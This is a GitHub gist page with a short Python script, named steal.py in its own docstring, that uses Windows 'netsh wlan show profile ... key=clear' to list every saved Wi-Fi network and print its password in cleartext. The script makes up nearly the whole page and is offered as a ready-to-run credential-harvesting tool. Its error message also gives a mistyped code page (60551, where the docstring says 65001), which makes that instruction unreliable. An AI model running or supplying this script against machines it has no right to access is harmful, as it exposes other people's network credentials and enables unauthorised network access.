Skip to content

Instantly share code, notes, and snippets.

@ryanking13
Last active June 9, 2023 07:02
Show Gist options
  • Select an option

  • Save ryanking13/92c6f66bcd3334508e2045f942627bf8 to your computer and use it in GitHub Desktop.

Select an option

Save ryanking13/92c6f66bcd3334508e2045f942627bf8 to your computer and use it in GitHub Desktop.
windows_wifi_password
#-*- coding: utf-8 -*-
# python 3.x
'''run with chcp 65001 & python steal.py'''
import subprocess as sp
import re
import sys
base_cmd = ['netsh', 'wlan', 'show', 'profile']
wifi_list = re.findall(b'(?<=: ).+(?=\r\n)', sp.check_output(base_cmd))
wifi_list = [w.decode('utf-8') for w in wifi_list]
passwords = []
for wifi_name in wifi_list:
cmd = base_cmd + [wifi_name, 'key=clear']
try:
out = sp.check_output(cmd).decode('utf-8')
except UnicodeDecodeError:
print('[-] run with "chcp 60551 & python {}"'.format(sys.argv[0]))
exit()
password = re.findall('(?<=Key Content)\s+: .+(?=\r\n)', out)
if len(password) > 0:
passwords.append((wifi_name, password[0].split()[-1]))
print(passwords)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment